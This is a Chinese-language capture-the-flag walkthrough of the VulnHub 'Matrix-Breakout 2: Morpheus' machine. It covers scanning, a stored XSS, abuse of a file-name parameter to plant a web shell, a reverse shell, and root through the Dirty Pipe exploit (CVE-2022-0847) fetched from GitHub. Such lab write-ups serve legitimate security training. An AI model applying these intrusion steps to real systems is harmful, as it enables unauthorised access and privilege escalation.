靶场下载链接:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova 。
下载完成后使用VM直接打开matrix-breakout-2-morpheus.ova 开启靶场
打开靶场后看到的界面:
这样我们的靶机也成功运行起来了。
我选用的攻击机是kali:ip:192.168.29.128.
渗透第一步进行存活主机探测,注(如果没有成功探测到可以尝试将靶机的连接模式变为(NAT))
arp-scan -l
确定靶机IP:192.168.29.130 攻击机器kali:192.168.29.128
渗透三把斧(IP,端口,目录)
接着探测靶机开放端口
nmap -sV -A 192.168.29.130
发现开发了三个端口22、80、81.
访问80端口:
发现是一个带着图片的界面,没有什么可以传参的地方,接着对前端代码看了一下
没有什么有价值的东西。
那么访问一下81端口
访问81端口后直接弹出来一个登录框,尝试输入东西后让重新输入,前端代码也无法打开,尝试使用bp抓包看看会不会有什么注入点。但是试了很多次登陆界面会直接崩溃。爆破账号密码也没有什么效果,那么思路应该是不对的。
发现没有什么东西。那么就扫描一下目录吧。
御剑:
打开看了看没有什么东西,很多都是跳转回80的界面,难道是我方向有错了吗,我不信,我怀疑是不是字典的问题,接着使用kali自带的字典进行扫描。
cd /usr/share/wordlists/dirbuster
gobuster dir -u http://192.168.29.130-x php,txt,jsp,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
他来了,他真的来了,graffiti.php,graffiti.txt。这两个东西就让我狠狠联想了一波,一个php一个txt还同名,这不很有搞头。
接着就是访问一波:
http://192.168.29.130/graffiti.php
果然出界面了,还有一个输入框感觉可以搞事情了!!!
那么就写一个XSS反射的js代码吧看看会发生什么。
竟然成功了,同时更加震惊的事情发生了,我本来以为是个反射型XSS但是没想到当我再次刷新界面后再一次有了弹窗那么得出一个结论:这不是简单的反射型XSS而是存储型,那么我写的JS代码一定被保存在数据库的某个位置。结合靶场来看这个靶场会涉及到内网那么一定不是简单的XSS漏洞所以现在抓个包看看能看到什么信息。
抓包结果发现传参方式为POST方式message后面跟着的是再输入框内输入的内容,&后面跟着一个file的参数。前面爆破目录也发现了graffiti.txt这个文件,那么打开看看究竟何方神圣。
在这个文件中发现了刚才我输入的数据都保存在了这个txt文件中,心中一个快乐的想法诞生了,这不让我想起了过往的经历文件上传再来了远程代码执行这不就进入内网快乐了!!!
摆在面前有了一个问题,这是个.txt文件,如果按照以往的思路那么txt文件也没办法执行我的脚本文件啊(木马)。破局就在眼前,
打开php页面的前端代码分析发现似乎可以对文件名进行操作,我可不可以自定义一个文件名然后虽然靶机没有这个文件会帮我自动创建呢?毕竟txt文本不可能解析我写的任何东西。抓包重定向一波:
感觉成功了打开看看
一片空白,那么证明这个文件被成功创建了赶紧用蚁剑连接。
成功文件上传。那么下一步就是提权再来个内网漫游找到我们想要的东西。
cd到根目录发现了一个FLAG.txt的文件,cat一下看看内容。
看不懂翻译一下
结尾出现了一个名叫cypher-neo.png的图片。好像让我去获取一个密码。那么就去看看这个png是什么吧。
就这么张图片,查看图片是否有啥隐藏属性啥的,那么下载到kali里看看
wget http://192.168.29.130/cypher-neo.png
下载之后ls还看不到发现是隐藏了,ls -a就发现了这个图片。
binwalk 下面是它的常用参数 -E:用于解码和提取已知的文件类型。 -M:在提取过程中自动尝试解密已知的加密算法。 -e:用于提取文件。 -y:用于自动确定文件系统类型。 -f:用于指定要分析的文件格式。 -l:用于显示已知的签名。 -x:用于提取文件系统。 -d:启用调试模式。 -v:显示详细输出。 -R:递归分析。
binwalk -e cypher-neo.png--run-as=root //成功提取到东西
使用winhex打开8A.zlib进行分析
提示说到key在这里但是似乎拿不到什么有用的东西,那就放弃从图片入手。(了解到一般这玩意实战遇不到)
上一个提权自动化信息收集脚本上靶机收集一下信息。
开放一个端口让靶机下载
chmod +x linpeas.sh
./linpeas.sh
奇怪了,为啥不报错也不显示,哦哦哦,原来需要反弹个shell
//这篇文章反弹讲的很好,可以去看看。
那么在kali本地开启一个监听端口(4566)
去利用工具生成一个反弹shell
将生成的代码通过graffiti.php这个网页传输过去。然后访问设置的文件名。
反弹成功。
终于大哥跑起来了
静静等待一会看结果
这个就是可利用的cve编号只需要上github上下载exp利用就好了
使用步骤
git clone https://github.com/imfiver/CVE-2022-0847.git cd CVE-2022-0847 chmod +x Dirty-Pipe.sh bash Dirty-Pipe.sh
撒花,成功提取,接着到root目录看看
终于一切都结束了。